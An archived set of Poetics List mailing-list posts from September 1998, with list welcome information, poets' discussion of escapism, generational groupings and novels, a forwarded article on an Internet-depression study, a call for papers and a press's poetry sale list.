Welcome to the Poetics List

&

The Electronic Poetry Center

sponsored by The Poetics Program, Department of English, Faculty of Art & Letters, of the State University of New York, Buffalo

Postal Address: 438 Clemens Hall, SUNY, Buffalo, NY 14260

_____

<font size=3><a href="http://writing.upenn.edu/epc"
eudora="autourl">http://writing.upenn.edu/epc<font size=3>
_____

_____Contents_____

1. About the Poetics List 2. Subscriptions 3. Cautions 4. Digest Option 5.

Temporarily turning off Poetics mail 6. Who's Subscribed 7. The Electronic Poetry Center (EPC) 8. Poetics Archives at EPC 9. Publishers & Editors Read This!

[This document was prepared by Charles Bernstein ([redacted]), Loss PequeñoGlazier ([redacted]), and Joel Kuszai ([redacted]).
_____

Above the world-weary horizons New obstacles for exchange arise Or unfold, O ye postmasters!

1. About the Poetics List

The Poetics List was founded in late 1993 with the epigraph above.

There are presently over 600 subscribers.

Please note that this is a private list and information about the list should not be posted to other lists or directories of lists. The idea is to keep the list to those with specific rather than general interests, and also to keep the scale of the list relatively small and the volume manageable.

Please keep in mind that all posts go out immediately to all subscribers, and become part of an on-line archive. *Posting to Poetics is a form of publication, not personal communication.* Participants are asked to exercise caution before posting messages! While spontaneity of response may seem the very heart of the list at its best, it also has the darker side of circulating ideas that have not been well considered (or considered by another reader -- editor or friend). Given the nature of the medium, subscribers do well to maintain some skepticism when reading the list and, where possible, to try to avoid taking what may be something close to a spontaneous comment made in the heat of exchange as if it were a revised or edited essay ("Let the Reader Beware!").

<font size=3>The "list owner" of Poetics is Charles Bernstein. Joel Kuszai is list manager. For subscription information contact us at [redacted].

_____

2. Subscriptions

Subscriptions to Poetics are free of charge. But we ask that you subscribe with your real name and we reserve the right to request additional information, including address and phone number. All subscription information you supply will remain confidential.

[redacted]

the one-line message should say:

{or}

(replacing Jill Jillway with your own name; but note: do not use your name to unsub)

We will be sent a notice of all subscription activity. Please allow several days for your new or re-subscription to take effect.

*

If you are having difficulty unsubscribing, please note:

The most frequent problem with subscriptions is bounced messages. If your system is often down or if you have a low disk quota, Poetics messages may get bounced. Please try avoid having messages from the list returned to us. If the problem is low disk quota, you may wish to request an increase from your system administrator. (You may wish to argue that this subscription is part of your scholarly communication!) You may also wish to consider obtaining a commercial account.

In general, if a Poetics message is bounced from your account, your subscription to Poetics will be temporarily suspended. If this happens, simply resubscribe to the list in the normal manner, once your account problem has been resolved.

All questions about subscriptions, whether about an individual subscription or subscription policy, should be addressed to the list's administrative address: [redacted]. Please note that it may take up to ten days, or more, for us to reply to messages.
_____

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END OF POETICS LIST WELCOME

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126. Agent Sunshine, aka Eric Gleason
reading
Sun 6 Sep 1998

THE INTELLIGENT ESSAY ASSESSOR A psychology professor at the University of Colorado at Boulder is spearheading the creation of an Intelligent Essay Assessor, a computerized tool to assist professors in grading students' written essays. Thomas Landauer says that to use the program, a professor must first teach it to recognize both good and bad essay writing by feeding it examples of both, which have been manually graded. The program can also be trained using what he calls a "gold standard" -- passages from textbooks or other materials written by experts on the same subject as the essay to be graded. While earlier digital essay graders work by analyzing essays mechanically -- looking at sentence structures and counting commas, periods and word lengths -- Landauer says his program can actually "understand" the student's writing using sophisticated artificial intelligence technology called "latent semantic analysis." It does so by comparing the patterns of word usage in student essays with the usage patterns it has learned from the initial samples, enabling the computer "to a good approximation, to understand the meanings of words and passages of text." If an essay appears to convey the same knowledge as those used in the examples, the computer gives it a high score. The Intelligent Essay Assessor is not meant to be used to grade essays in English-composition or creative-writing assignments, where a student is being graded more on writing skill than subject knowledge. (Chronicle of Higher Education 4 Sep 98)

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127. Mark DuCharme
Re: A hopeful note?
Sun 6 Sep 1998

Ron,

This seems like a joke, especially the title of Cronenmeyer's book & his wonderfully pedantic comment, "I've read all the theories." Does anyone out there know anything about this Cronenmeyer? Maybe someone could post a work of his on the list so we can see what he's up to. If this turns out not to be a put-on, then it seems to suggest that L=A=N=G=U=A=G=E poetry can be a kind of escapism-- or at least, escapism for the oppressed! So I'm a little surprised to find you, Ron Silliman, suggesting this as hopeful (though I think I would agree with you, if only because the work's being *read*, poetry finding some use (however ironically) in the world at large). Hey, I like some escapism myself-- it's just not the only thing I want....

Mark DuCharme

Ron Silliman wrote:

>MORE PROOF FROM THE MAELSTROM
>
>Extract from the Durbanville Times 23 July 1998:
>
>Rita de Grooning, a paraplegic garage attendant in Durbanville, recently
>remarked that during the troubled years after her first accident, damaging
>and ultimately losing a leg while clearing mines in southern Sudan, she
>turned to the work of E M Cronenmeyer, L=A=N=G=U=A=G=E poet of South
Africa.
>
>“Cronenmeyer is instantly forgettable, he's so difficult and manages to
>avoid stating anything clearly. I spent hours trying to work out what he was
>on about. It's brilliant stuff," remarked de Grooning. "I was faced with
>some difficult political situations up there. Poverty, war, disease. It’s
>refreshing to turn to a poet like Cronenmeyer to get away from the real
>world."
>
>Asked to clarify, de Grooning went on, "Well, when someone’s dying under an
>oppressive regime, there's more than one possible angle- they get it wrong,
>taking it personally. Especially women, who haven’t had much luck with
>pronouns in literature anyway, I guess. We need poetry that avoids

personal
>history, is really difficult and means little to the people being
>slaughtered. That’s clearly the way forward for poetry; I've read all
the
>theories."
>
>The collected works of E M Cronenmeyer, "Oh God, I Really Hate
Pronouns", is
>available from Sin-Tax, Cape Town.
>
>
>Off of the Poetry Etc email list, 8/31/98, thanks to Chris Emery
>

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128. david bromige
Not escapism exactly (eh, Ron?)
Sun 6 Sep 1998

I had Ron Silliman's _Sunset Debris__ onsite for some weeks before I got around to reading it, even though friend and big fan of the author. Then one of those horrible nights when you can't sleep and a too-generous quota of your omissions and inadvertencies camps in your mind, I picked it up and was totally engaged. It is difficult material formally though not at sentence level, difficult to endure, but I needed something that would stop my wheels spinning, and I read it from start to finish (it would be confusing to say A-Z!). It quieted me by holding my attention. This was not what I would describe as escapist.

Perhaps the word is being used inaccurately, in this thread. However, I can well suppose that in tough circumstances, easy reads can feel thin, w/o enough substance to be worth entering. Isn't this what's being said? David

↑ Index

129. J. Kuszai
thirty over sixty
Sun 6 Sep 1998

Franklin, LA Boys, listers, Ribotters, thanks for the generational surge in protective alliances among the best of friends, in the worst of times. Without really trying to defend a position, or without having to imply any real belief whatsoever, let me remark upon the controversy which now has escalated to a full-

fledged San Diego-LA war. The true spirit of west-coast road rage has gotten to me. You don't even have a football team!

ok ok ok. I'm sorry if my question about age/generational groupings seemed rooted in a criticsm of the Ribot conference upcoming this next month. It certainly wasn't intended as that, although when it was announced it struck me and I've thought about it a lot lately; as well earlier this summer in Buffalo a generational "poetry festival" was held, although on much smaller terms. Certainly given the proliferation of forms and scenes, the internet, blah blah blah, the failure to have any sense of ideological "centering" (like a war, or a cause, but not princes Diana) might cause especially younger people to seek more demographic methods of defining ourselves. The baby boomer poets. The generation x poets. etc. etc. The anxiety about not having any criteria around which to organize ourselves , it could be said to be perhaps the only unifying characteristic of poets under 40. This anxiety about relationships to one's peers and elders, including access to the ability to redress the boundaries of literary inheritance. It certainly has been an endless feature of the dialogs on this list, though it didn't begin here.

And I think I might as well say it and try to dig my way out of it later, and maybe it's what I've been trying to propose, neither as advocate nor critic, but also (and not purely in dialectical terms, either) as both critic and advocate. And it is esentially that the terms underlying such formations of group identity, including editing a press or a magazine, that the terms of it are largely social issues and are comprised of all the usual things that define social life; that the formal criteria proposed are often uselessly vague (i.e. "innovative" and "experimental" as terms serve only to define the group's social boundaries and not the "work itself"). I think that there are good things and bad things to this tendency. And I'm not proposing that we replace the network-social model with a bureaucratic proceduralism by which the "best poem" is always found utilizing machinic concepts of determining [insert evaluative criterion here] as regards taste, judgement, etc. I think a "social theory of editing" could have a positive role in developing the expanding poetry markets in the neighborhoods of southern california, for instance. And that you could conduct a workshop on the "social theory of editing" and you could do it with the verve of labor organizer, or a composition teacher.

BY THE WAY for those who think that listserv technologies will simply be outlawed for causing anxiety, depression, stress, and endless "gossip" (i.e. literature)--think again. You can't return the south pacific to its pre-colonial status anymore than you can get the US dollars out of Quebec...

And to go back to it, it never seemed to me that the terms of the Ribot Conference were in anyway going to be about generational definitions, etc., and I'm

sorry to hear that issue has now been placed on the docket, for I personally think it is a waste of time. There is a lot happening that weekend: doesn't the Arshile reading happen that day too? I would like to go up to the conference, and would like to go to LA even before then for some events, so please post them here to the list. But the age-issue really doesn't seem like all that interesting a topic to me. If we can make it a valuable topic for conversation, then let's hear it, thank-you. Because aside from attempts at valuating the startling juxtapositions created by placing an unknown20somthing alongside an established 60something... I mean I can't get beyond what seems unavoidably humorous in this setup. Why not find an established 20somthing (and they're out there, dammit) and put her next to an unknown 60something... but hey, I'm there. I'll go just to hear the poetry, okay, the startling juxtapositions don't say anything "in themselves"--commentary, give me some interpretation!

For the record, I'm less interested in being included than I am in hearing what the criteria are. And this is true most of the time. So my placard idea was only a joke...but I will be up there and so will some of the San Diego Unit of the poetry reserves.

RE: BILL LUOMA There is a kind of Social theory behind WORKS & DAYS and one which I think could be a model for group formation. And not group formation with a sense of us & them, but group formation in the sense of tactical defense techniques. Franklin writes that when he tries to write about his friends it is "flat" compared to Luoma's work. I think that he's right and I am cuirous to know how this works. There is an "x"factor in this book, which gives off a glow. There is something immediately engaging for me about this highly social work. And it isn't something that I experience in every work which uses the proper noun, so a lot of talky fake new york school stuff leaves me cold. There is somthing to MY TRIP TO NYC and the other works--something which is carried across all the works. I don't know how to describe it--pathos?--perhaps, but it is something which is made possible by the fluid style of the paragraphs which allow him to submit "unrelated" observations to the catalog of actions, verbal and active actions, which comprise his work. Some of these, like the line "I never know why people in love spend time apart when they could be dead in two years" rip open whatever protective covering I had put myself into and the raw emotions of tears and spit and snot seem to be the punctuation to a kind of linguistic utterance more closely aligned with the scream than any other-- and this is the first book of poetry I have read this decade that made me cry. I'm glad I got to it when I did. and I realize that's a bizarre criteria for liking a work. For me, Luoma provides a history book about a group of friends, more than he records a literary history. And what is interesting about these people isn't that I know them or know who they are, but that Bill knows them and there is an accumulation of knowledge and experience made possible by the

sustained ability to record in a compiling sort of way (like Myles' "anchorman"?) all of the events which register as actions. Obviously it is edited: no one loves baseball that much. And there is the danger that its most endearing characters become like "gargoyles" pried loose from a place where they are valued, hanging by a thread above a crowded city street. How Luoma is able to maintain the integrity of friends whose lives he effectively "represents" is worth discussing. Something about "the treatment "" of that personal-detail material. and you can imagine a book like this will someday be the subject of lawsuits, if not this book, one inspired by it. In fact, it is one of the few books wherein the names aren't changed. Maybe that is what finally makes it "poetry"

Someone wrote me back channel that in new york, if you wanted to hang out, then you were part of the group. In a sense that spirit describes the tone of Luoma's book.

I have more to say about all this, but it's confused and I'm eager to go outside now that the sun has gone in for the day. love, Jimmy

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130. J. Kuszai
NEW FROM MEOW PRESS
Sun 6 Sep 1998

NEW FROM MEOW PRESS

Jerome Rothenberg
Paris Elegies & Improvisations

Meow Press is pleased to announce the publication of Jerome Rothenberg's _Paris Elegies & Improvisations_, the first MP chapbook from its new home of San Diego. 24pg. $5.00

A NOTE TO SUBSCRIBERS: This book has been added to the Summer Series. If you've subscribed to the press you will receive this book at no extra cost. Look for at least one other late-addition to the Summer Series. (hint: summer stretches into October here in San Diego...)

Meow Press
Joel Kuszai, editor

POBox 948568
La Jolla, CA 92037

[redacted]
http://writing.upenn.edu/epc/presses

↑ Index

131. **Ron Silliman**

Re: Not escapism exactly (eh, Ron?)

Sun 6 Sep 1998

My work is a great soporific I've been told.

I've lately begun reading my way through all of the "other" Faulkner novels beyond the usual half dozen that everyone gets in college (or got when I went some 28-30 years ago). I picked up one, The Unvanquished, sort of by chance about 6 months ago, just coming off of David Wallace's Infinite Jest and was stunned by how much mind was present in every single sentence than I'd gotten from any "mainstream" novel in many a year (since Gravity's Rainbow perhaps). Yet in fact they do read "easy" if you can avoid getting completely stopped by some of the gargantuan knots of syntax, which are themselves totally worth the experience.

But I've written before that much of the power of fiction comes precisely from the displacement of the effects of language onto symbolic structures, of which character is a main formation.

Ron

>Date: Sun, 6 Sep 1998 16:28:13 -0700
>Reply-To: UB Poetics discussion group
<[redacted]>
>From: david bromige <[redacted]>
>Subject: Not escapism exactly (eh, Ron?)
>To: [redacted]
>
>I had Ron Silliman's _Sunset Debris__ onsite for some weeks before I
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132. david bromige
No Europe w/o Stendahl!
Mon 7 Sep 1998

It was an uncommonly pleasant day. The lawns were smooth and green. The governness burst into flames. Those who study love may find it consequential.

db3

↑ Index

133. David Baratier
Re: No Europe w/o Stendahl!
Mon 7 Sep 1998

It's gonna be a bright, bright, sun-shi-ny day. Greens laid with fresh chemicals.
The prepared accelerants should do quite nicely. Those in the know were knowing
again.

db(2?)

>It was an uncommonly pleasant day. The lawns were smooth and green. The

> *governness burst into flames. Those who study love may find it consequential.*
>
> *db3*

Sunlight dripped aslant through the humid air. The cuspidor gave off a faint scent redolent of Nairobi. Charles was seen with his hand momentarily on the back of the pool-attendant's shirt

GB

↑ Index

134. Mark Weiss
Depressed yet?
Mon 7 Sep 1998

Since the Carnegie-Mellon study alleging Internet-caused depression continues to surface, the following story from today's Washington Post may be of interest.

A Search for Net Impact on Social Life

By John Schwartz
Washington Post Staff Writer
Monday, September 7, 1998; Page A3

What is the Internet doing to us?

The burgeoning online medium has proved an irresistible subject of study by social scientists thrilled to see a new society emerging virtually overnight. Academics are examining every facet of online life for America's millions of Internet users, including the ways people use the new medium, its successes and failures in education and medicine, the prospects for electronic commerce and the development of communities of people linked via modem.

But despite a great deal of research, "We know very little about how the Internet is actually affecting people's lives," said James E. Katz, a leading researcher in the field and professor in the Department of Communication at Rutgers University in New Brunswick, N.J.

Last week a much-touted study from Carnegie Mellon University suggested that users of the Internet become lonely and socially withdrawn.

"The more people were online, the more signs they gave of being a little bit more socially isolated," in responses to standardized questionnaires used by researchers to measure depression, stress and strength

of social ties,
said Robert Kraut, the lead author of the study.

Reports on the study sparked a strong reaction in the online world from
people like Arthur R. McGee, 32, an employee of a San Francisco-based
Internet service provider for nonprofit groups. "Going back as far as I can
remember, my use of [online communications] has GREATLY increased
my human interaction," McGee said on WELL, a Sausalito, Calif.-based
online service. "I've met more people IN PERSON of varying ethnic and
social backgrounds than I would have without these communication tools."

But computer author Robert Lauriston countered, "I think a lot of people
are in denial about the negative effects of spending too much time online."
On the global conference system known as Usenet, Donna Gettings, 43, a
manager of an at-home medical transcription service in Pittsburgh,
quipped, "According to this survey, I guess I committed suicide some time
ago."

The Carnegie Mellon study is part of HomeNet, a $1.5 million project in
which 93 Pittsburgh families were given free computers and Internet
accounts. The three-year-old project has already published studies
showing, for example, that use evolves from initial passive World Wide
Web surfing to communication activities such as e-mail and Usenet. The
group has also shown that people who view pornography online tend to
greatly decrease their porn surfing after the novelty wears off.

HomeNet, however, has its limits. The 169 participants are a small group
and were not selected at random – two things that make it difficult to
generalize any study results to a larger population. The researchers also
did not follow a "control," or similar group that had no Internet access,
generally considered an essential component of any such work, said Jim
Thomas, a professor of sociology at Northern Illinois University. That the
researchers only surveyed the participants twice – once before they went
online, then a year later – is a serious weakness, said Donna L. Hoffman,
a researcher at Vanderbilt University. The Carnegie Mellon researchers
themselves note that the study's large population of teenagers, who tend to
grow depressed and withdrawn, is one factor that may have skewed the
results.

The new research is "not ready for prime time," Hoffman said. "This is not
saying that the Internet does not cause depression," though she doubts it
does because such a finding would "run counter to experience, anecdotal
evidence, practice and scholarly research" like her own. "Maybe it does –
but this research does not prove that."

The notion that Net use might cause depression "surprised us," said
Carnegie Mellon study co-author William Scherlis. He was careful to note
that "the effects that we noticed are small, but they are statistically
significant. . . . It's not a big enough effect that if you use the Internet too many hours, you're going to wake up one

morning and need a prescription
for Prozac."

"These are relatively minor symptoms of depression," Kraut explained,
"more like being in a funk than being suicidal."

Kraut declined to even attempt to translate the slight drop on an abstract
scale of loneliness that the researchers used into real terms. "I'm not taking
too seriously the actual numbers people are reporting; I'm taking seriously
the fact that there is a trend."

Scherlis suggested that simple changes could make Internet exploration a
less solitary pursuit – simply moving the computer from a basement office
to the family room, for example.

Kraut said the various uses of the Internet might affect mood; simple Web
surfing, which for the most part resembles television viewing, might leave
users feeling enervated and somewhat down – as television can. Reaching
out to others through electronic mail, discussions and participation in
online communities, on the other hand, might make people feel more
connected and positive – especially if they tend to build the strong bonds
of friendship and support that are still more common in the real world than
in the online one. A preponderance of weak relationships, they suggest,
might not have the same uplifting effect. Those factors could be seized on
by companies offering Internet services to come up with a better product,
Kraut said.

The group's initial analysis of mood and various kinds of Internet use,

however, has not borne out Kraut's theory; he said more research is needed.

Other researchers are examining the Internet with different results. Rutgers's Katz and colleague Philip Aspden, executive director of the Center for Research on the Information Society, surveyed 2,500 Internet users and found no evidence of social withdrawal: Online participants are no less likely to join religious, leisure or community organizations than people who aren't online, the research indicated.

Hoffman and partner Tom Novak at Vanderbilt University's Project 2000 have collaborated with researchers at the Georgia Institute of Technology and others, and focus in part on consumers and what they find compelling in electronic commerce. Their research, too, suggests that many Web users consider being online to be both positive and enriching, leading to a satisfying mental state known as "flow."

No one yet knows where various threads of research will lead, and Carnegie Mellon's Scherlis warns against reducing scientific results like his to a "bumper sticker" notion that the Internet is depressing or somehow dangerous and should therefore be controlled or restricted. The findings "should in no way give anybody an excuse to delay bringing the Internet into the home or into the schools or into the inner city – or anywhere else for that matter," he said.

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135. K.Angelo Hehir
Re: New York readings?
Mon 7 Sep 1998

On Sat, 5 Sep 1998, Herb Levy wrote:
>
> Evenings on the 24th to 26th, at least, I'll be at Suspended Music,
> concerts by Deep Listening Band (Pauline Oliverso, Stuart Dempster * David
> Gamper) & Ellen Fullman's Long String Instrument (100 feet long) in the Low

Herb, this may be a shot in the dark but. i heard on the CBC a piece that featured someone(s) playing a lone piano wire strung between two distant points in a church. i can't remember how it was "played" but i still remember it almost ten years later. are these the same people? does anyone know what i'm talking about?

it was beautiful.

kevin

↑ Index

136. K.Angelo Hehir
Re: f.y.i.
Mon 7 Sep 1998

Oh Lord won't you give me a Patagonia jacket
My friends all wear Gor-Tex
and I just can't hack it
Oh Lord won't you give me a Patagonia jacket.

Janice J'alpine

|----------| | And the near future when I'll shut up again, | | utterly baffled by these poems.
	Jacques Roubaud

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137. George Bowering
Re: Faulkner
Mon 7 Sep 1998

Yr so lucky getting to read those other Faulkners for the first time. When I was in my twenties I simply sat down and read them all thru (exceptThe Rievers, which came out later) and even then I knew that I was never going to have an experience like that ever again. Since then I have never sat down and read

someone right through. There are still about 4 Queneau books I get to read for the first time. But you have to get really careful, because meting them out to yrself that way, you can miscalculate and die before you have read, say, _The Blue Flowers_.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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138. George Bowering
Re: No Europe w/o Stendahl!
Mon 7 Sep 1998

> *It was an uncommonly pleasant day. The lawns were smooth and green. The governness burst into flames. Those who study love may find it consequential.*
>
> *db3*

Sunlight dripped aslant through the humid air. The cuspidor gave off a faint scent redolent of Nairobi. Charles was seen with his hand momentarily on the back of the pool-attendant's shirt

GB

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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139. Robert Archambeau
Akira Kurosawa
Mon 7 Sep 1998

Just heard the sad news -- the great director Akira Kurosawa has died.

I think the best tribute possible is for all of us to go out and rent "Rashomon" tonight.

R.A.

↑ Index

140. **Pierre Joris**
Re: Akira Kurosawa
Mon 7 Sep 1998

Sad indeed; took out a Kurosawa I hadn't seen last night.
This morning the French daily LIBERATION has an excellent dossier on AK:

http://www.liberation.fr/quotidien/index.html

Pierre
==========
Pierre Joris
[redacted]
6 Madison Place
Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
It is an absent Anerica whose
presence is at stake
‹ Robin Blaser
==========

>From: Robert Archambeau <[redacted]>
>To: [redacted]
>Subject: Akira Kurosawa
>Date: Mon, Sep 7, 1998, 6:54 AM
>

> *Just heard the sad news -- the great director Akira Kurosawa has died.*
>
> *I think the best tribute possible is for all of us to go out and rent "Rashomon" tonight.*
>
> *R.A.*

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141. Randy Prunty
Innovation and Experimentation in Contemporary American Poetry
Mon 7 Sep 1998

This forwarded to me by a friend.
See you there?
Randy Prunty

Subj: CFP: Innovation in Contemporary American Poetry (1/5; 4/8-4/10)

Innovation and Experimentation in Contemporary American Poetry

What criteria delimit the margins of American poetry today? What is the role of the lyric and narrative in the elliptical, fragmented and disjunctive approach utilized by many contemporary poets. How has Language poetry given way or split off from other "experimental" poetries and how do gender and race figure into those divergence's? How has performance poetry altered, popularized or skirted the "poetry establishment"? What projects have poets undertaken to analyze, bridge, or deconstruct the mutually marginal spheres of "high" and "low" poetry today?

We particularly invite papers on poets such as, Rae Armantrout, Lucy Brock-Broido, Anne Carson, Lynn Emanuel, Elaine Equi, Jorie Graham, Barbara Guest, Lyn Hejinian, Brenda Hillman, Susan Howe, Ann Lauterbach, Bernadette Meyer, Jane Miller, Tracie Morris, Harryette Mullen, Alice Notely, Susan Wheeler and others.

This three-day conference sponsored by Women Poets at Barnard will begin on Thursday, April 8 with a poetry reading, and continue through Saturday, April 10. The keynote speaker will be Marjorie Perloff. The conference will feature critical papers as well as additional poetry readings. Papers received by January 5 will receive priority, but papers will be read through January. Papers grouped as panels welcome. Please submit to either Claudia Rankine, English Dept, Barnard College, 3009 Broadway, New York, NY 10027 or Allison Cummings, English Dept, Hampden-Sydney College, Hampden-Sydney, VA 23901.

****

Allison Cummings
Box 167
Hampden-Sydney College
Hampden-Sydney, VA 23943
[redacted]
E-Mail [redacted]

****

==========
From the Literary Calls for Papers Mailing List
[redacted]
Full Information at
http://www.english.upenn.edu/CFP/
or write Jack Lynch: [redacted]

==========

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142. **Ron Silliman**
Re: infinite jest
Mon 7 Sep 1998

I liked Infinite Jest okay also. The secret sources for it as a book, I think, are the work of John Barth and Anthony Burgess (I was surprised to see "horrow show" appear more than once). His sense of the sentence is entirely utilitarian and his ear is tin, but his sense of construction and the grotesque are marvelous. The scene in which the son describes his initial reactions to his father's suicide (depicted in terms of smell) was amazing. I found it odd, given his own background as a tennis prodigy, that the people who really seemed "felt" as characters were all the ones in the half-way house.

But any novel that has several hundred footnotes (including several with key plot twists) is okay by me.

Ron

[redacted]

Do NOT respond to the [redacted] address.
It is for listservs only.

>From: [redacted]
>Date: Sun, 6 Sep 1998 22:46:51 EDT
>To: [redacted]
>Subject: infinite jest
>
>Ron:
>
>Just curious, what did you think of Infinite Jest? You sound like
maybe it
>didn't hold up for you? I liked it okay but it ain't no Rainbow and it

ain't
>Absalom, Absalom.
>
>Standard
>

_____
Get Your Private, Free Email at http://www.hotmail.com

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143. Douglas
Big Poetry Sales
Mon 7 Sep 1998

This is the first of several messages that will follow as I find time to type them up.

THE SUN & MOON PRESS CAMPAIGN TO FREE ITS POETRY

Sun & Moon Press has long been known for its publishing and promotion of a wide-range of contemporary poetic voices. But we recently recognized that some of these voices have been kept prisoner on our shelves, locked away from the very audience for which they were intended. We hope to address this terrible injustice by offering our SUN & MOON PRESS CAMPAIGN TO FREE ITS POETRY. Below is a list (posted in several parts) of some of the books that simply got lost in the shuffler of the Press's poetic proliferation.

We are offering these titles for the amazingly low price of $4.00 each plus postage ($1.25 added postage per book).

To order simply write the quantity on each line before the title and return to Sun & Moon Press (6026 Wilshire Boulevard, Los Angeles, CA 90036) with a check for the cost of books and postage.

Help us to free some of these great poetic achievements.

_____Will Alexander. ASIA & HAITI (paper, list price $12.95)
As a Black American Surrealist poet and painter, Will Alexander has no equal, and his influence is now being felt internationally. Demonstrating the influences of the poets of Negritude, contemporary history and economics, and the forces at play in Alexander's home city of Los Angeles, ASIA & HAITI is, as CUPS wrote, "Truly incendiary."

____ Pierre Alferi. NATURAL GAITS (paper, list price $10.95)
If Alexander and his poety is "incendiary," young French poet Pierre Alferi is absolutely "hot." His work has received major acclaim in his homeland, and his editing, with Olivier Cadiot, of LA MéCANIQUE LYRIQUE created a true poetic sensation in Paris. "A geography of silence, formed with stern images--both vibrant and still." --Rhizome

____ Claes Andersson. WHAT BECAME WORDS (paper, list price $11.95)
Member of the Finnish Parliment, jazz pianist, literary ac- tivist, former editor of an avant-garde magazine, psychiatrist, and Minister of Culture, Claes Andersson is a wonder, and these poems are trul revelatory: funny, dramatic, philosophical, insightful." A man once thought, in desperation: / The best thing would be to hang myself / in the nearest ocean."

____ Bruce Andrews. GIVE EM ENOUGH ROPE (paper, list price $10.95)
Britian's REALITY STUDIOS wrote of this great poetic collection in 1988: "It is a virtuoso technique and a relentless inven- tiveness that enable the ambition of this difficult writing, which delights, inspires and disquiets in its accomplishment." Andrews writes: "Narcissism is like not seeing that there could be a private language of the body which is social -- Guerilla means everyone has the tools to do it." One fourth street vendor, hipster, tent revivalist, academic moralist, and just plain everyman from Dubuque, Andrews gets the blood flowing clear up to the head.

____ Bruce Andrews. I DON'T HAVE ANY PAPAER SO SHUT UP (or, Social Romanticism) (paper, list price $13.95)
The noted poet of LOVE SONGS, GETTING READY TO HAVE BEEN FRIGHTENED, EXECUTIVE SUMMARY and numerous other works is up to his politico-spiritual highjinks again in this brilliant book."An energized, headlong glance into the originality of this controversial writer," observed THE WILSON LIBRARY REVIEW upon the 1994 publication of SHUT UP. "Gesalt me out!"

____ Rae Armantrout. MADE TO SEEM (list price, $9.95) Award-winning poety David Bromige wrote: "I would like to be able to write a few elegant sentences on Rae Armantrout's poetry. I admire it tremendously, I love it, I find her to be the finest writer of the short lyric poem in English today. Except that of course it is the anti-lyric. And anti- rhetoric too, anti-elegant sentence, it turns an amused grin -- a veritible medusa of an amused grin -- towards superlatives, towards whatever smacks of flattery, towards the impressionistic, towards what talking-about can do -- or rather, can't do."

____ Rae Armantrout. NECROMANCE (paper, list price $8.95) Noting the "feel" of narrative weaving through Armantrout's great lyrics, the reviewer of THE BLACK WARRIOR REVIEW noted of this 1991 publication: "There is not possibility of giving away the ending, none of what I've written here prepares for her surprises." Elaine Equi observed in THE POETRY PROJECT NEWSLETTER, "In the poetry world where so much depends upon having a style that's easy to categorize, Armantrout makes you believe that there is still such a thing as originality."

____ Ece Ayhan. A BLIND CAT BLACK and ORTHODOXIES (paper, list price $10.95) WORLD LITERATURE TODAY wrote of this publication: "Ece Ayhan (b. 1931) has been a marvelous maverick of Turkish poetry since he erupted on the scene in the 1950s. ...Every element of his poems became esoteric, oblique, indecipherable. ...{But] the language, sometimes deceptively simple, at times staccato, has a way of dazzling with all its obscurities." As for the artists Paul Klee or Arshile Gorky, behind Ayhan's seemingly abstract images "there are subtle and often sly symbols, most of which deal with minority cultures." Whore, homosexual, pederast, betrayer, these are the people of Ayhan's beautifully troubling world.

[to be continued soon]

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144. **Douglas**

SUN & MOON POETRY SALE continued (2)

Mon 7 Sep 1998

Here is the second installment of our big Sun & Moon Poetry sale

____Djuna Barnes. THE BOOK OF REPULSIVE WOMEN: 8 RHYTHMS AND 5 DRAWINGS (paper, list price $6.95)
Originally published in the chapbook series of Bruno of Greenwhich Village in 1915, this renowned volue of poetry presnets portraits of the period--a mother, prostitute, cabaret dancer, and others--which seemed wildly radical in their day, and still reveal the great American writer Barnes's deep roots in the milieu of the New York of the first decade of this century.

____Clark Coolidge. OWN FACE (paper, list price $10.95) First published in 1978, OWN FACE represents a growing shift of that period of Coolidge's career from a more structurally based, abstract writing to a more personal and lyrical work. This book plays with the notion of the self and other, from its cover photography--which is not the author but spelunker Floyd Collins--to its contents, highly charged, seeming personal lyrics, which move always

outward to the reader and his own encounter with language. One of the most important of this great Amrican poet's books.

____Henri Deluy. CARNAL LOVE (paper, list price $11.95) One of the most noted of French poets writing today, Henri Deluy, editor of the famed journal ACTION POéTIQUE, explores the various aspects of love in this major collection of poetry, first published in France in 1994, and translated here by Guy Bennett. "Borrowing some of the strategy of Sacher- Mosher, master of erotic suspense, Deluy as found a language chained to law, but nonetheless thrills. You may find yourself willing to be disciplined, but only if your know in advance that desire is most effective when thrown into abeyance," wrote RHIZOME.

____Ray DiPalma. MOCK FANDANGO (paper, list price $5.00)
A 20 Pages chapbook of three long poems by noted American poet Ray DiPalma.

____Ray DiPalma. NUMBERS AND TEMPERS: SELECTED EARLY POEMS (paper, list price $11.95) The first comprehensive survey of DiPalma's writing, this book presents a selection of his best work, and shows the fascinating trajectory his poetics have followed over more than two decades. DiPalma's poetry is a carefully chiselled creation of experience that is at once aural, tactile, and visual. He composes with what Jackson Mac Low has described as "Precision and surprise and no nonessentials. Gists and Piths."

____Arkadii Dragomoschenko. XENIA (paper, list price $12.95) "XENIA is an eclectic book, flashing many moods and rhetorics that will deepen and broaden [Dragomoschenko's} appear and perhaps excite further interest in the once hidden Russian avant-garde," observed THE VILLAGE VOICE SUPPLEMENT when this, his second collection in English, first appeared. Since that time Dragomoschenko has been recognized internationally as one of the most important post World War II poets, and his linguistic experimentation hailed as a major poetic achievement. Despite the hard conditions of contemporary Russian culture, he has continued to live in St. Petersburg, the source of much of his poetic energy. Translated by Lyn Hejinian and Elena Balashova.

____Gloria Frym. BY EAR (paper, list price $9.95) This book can be read as a long poem, bound by narrative and by the imperatives of form; each of its sections and each of the poems that constitute the book are complete in themselves. Andrei Codrescu has remarked of Frym's writing: "Frym is one of the finest practitioners of the prose poem." BY EAR demonstrates her mastery of this challenging form.

____Charley George. SUNDAY'S ENDING TOO SOON (paper, list price $10.95) Throughout the 1970s Charley George was active in the Boulder, Colorado

scene, which included Ed Dorn, Jack Collum, Allen Gins- berg, Anne Wald- man, Reed Bye and many others. Within that group he was recognized as a significant poet, and he gave numerous readings, taught creating writing, and published in some forty magazines. But George was also (of necessity) a business man, a financial analyst for IBM and a jewelry manager for Neiman- Marcus-- all of which stole time from his art. Then suddenly in 1988 he died, at the age of 47, of a heart attack. His poetic legacy is this beautiful vol- ume of poetry, writing not to be missed.

